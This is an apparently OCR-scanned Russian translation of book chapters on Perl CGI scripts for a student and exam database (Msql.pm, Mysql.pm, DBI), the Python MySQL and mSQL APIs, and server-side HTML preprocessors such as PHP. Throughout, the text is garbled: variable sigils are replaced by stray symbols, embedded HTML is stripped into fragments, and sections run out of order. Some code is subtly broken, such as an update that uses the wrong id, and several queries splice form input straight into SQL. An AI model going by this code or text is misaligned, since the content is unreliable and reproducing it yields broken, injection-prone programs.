    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

